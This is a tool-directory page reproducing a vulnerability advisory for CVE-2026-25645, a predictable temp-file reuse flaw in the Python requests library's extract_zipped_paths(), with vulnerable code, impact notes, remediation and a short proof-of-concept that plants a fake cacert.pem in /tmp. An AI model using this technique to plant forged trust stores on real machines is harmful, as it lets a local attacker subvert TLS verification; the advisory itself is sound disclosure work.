Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jaycelation/cve-2026-25645
Static AnalysisVulnerability AnalysisExploitationWeb SecurityPapers & Research
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Insecure Temp File Reuse in extract_zipped_paths()

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

[CVE-2026-25645] Insecure Temporary File Reuse in requests.utils.extract_zipped_paths()

Executive Summary

A vulnerability was identified in the requests library (Python) within the public utility function requests.utils.extract_zipped_paths(). The function utilizes a predictable, non-unique filename when attempting to extract files into the system's temporary directory (/tmp) and fails to verify the integrity or ownership of pre-existing files.

While the default behavior of requests combined with certifi is mitigated by importlib.resources, this utility remains a security footgun for downstream applications or custom implementations that rely on it to handle zipped resources.

Vulnerability Information

  • CVE ID: CVE-2026-25645
Download Tool
  • CWE: CWE-377 (Insecure Temporary File)
  • Severity: Moderate (5.0)
  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Affected Versions: < 2.33.0
  • CVSS v3 Base Metrics:

    • Attack Vector: Local
    • Attack Complexity: Low
    • Privileges Required: Low
    • User Interaction: Required
    • Scope: Unchanged
    • Confidentiality: None
    • Integrity: High
    • Availability: None

    Technical Analysis

    The Mechanism

    The function requests.utils.extract_zipped_paths() is designed to extract members from a zip archive (often used for CA bundles in zipapp environments). The vulnerable logic follows these steps:

    1. Predictable Target: It joins the system temp directory with the basename of the zip member (e.g., /tmp/cacert.pem).
    2. Insecure Check: It uses if not os.path.exists(extracted_path) to decide whether to extract the file.
    3. Path Return: If the file exists, it immediately returns the path without ensuring the file was created by the current process or checking its content.

    Root Cause Analysis

    In requests/utils.py, the logic is implemented as follows:

    root@kitploit:~
    # Path derivation using predictable basename
    extracted_path = os.path.join(tmp, member.split("/")[-1]) 
    
    # Insecure reuse of existing file
    if not os.path.exists(extracted_path):
        # Extraction logic only triggers if file is missing
        ... 
    
    # Returns path to potentially attacker-controlled file
    return extracted_path
    
    

    Impact & Exploitation

    A Local Attacker with low privileges can exploit this by pre-creating a malicious file (e.g., a forged CA bundle) at the predictable path in /tmp. When a victim (user interaction required) runs an application that invokes this utility:

    1. The utility sees the file already exists.
    2. The utility skips extraction and returns the path to the malicious file.
    3. The victim application loads the attacker's data, leading to a High Integrity compromise (e.g., loading a forged trust store).

    Proof of Concept (Standalone)

    The following script demonstrates the vulnerability by showing how the utility reuses a pre-existing "fake" file instead of the legitimate one from the archive.

    root@kitploit:~
    import os
    import tempfile
    import zipfile
    from requests import utils
    
    # 1. Attacker Step: Pre-create a malicious file in /tmp
    TMP = tempfile.gettempdir()
    fake_file_path = os.path.join(TMP, "cacert.pem")
    with open(fake_file_path, "wb") as f:
        f.write(b"ATTACKER_MALICIOUS_DATA")
    
    # 2. Victim Setup: A legitimate ZIP archive
    zip_path = "resources.zip"
    with zipfile.ZipFile(zip_path, "w") as z:
        z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
    
    # 3. Victim Action: Calling the vulnerable utility
    zipped_member_path = f"{zip_path}/certs/cacert.pem"
    resolved_path = utils.extract_zipped_paths(zipped_member_path)
    
    # 4. Confirmation
    print(f"[i] Utility returned path: {resolved_path}")
    with open(resolved_path, "rb") as f:
        content = f.read()
        print(f"[i] Content read: {content}")
    
    if content == b"ATTACKER_MALICIOUS_DATA":
        print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
    
    

    Remediation

    The issue is addressed in version 2.33.0. The fix involves transitioning to importlib.resources to handle zipped resources more securely, ensuring that extractions occur in randomized, non-predictable directories and avoiding the reuse of existing files in shared world-writable directories.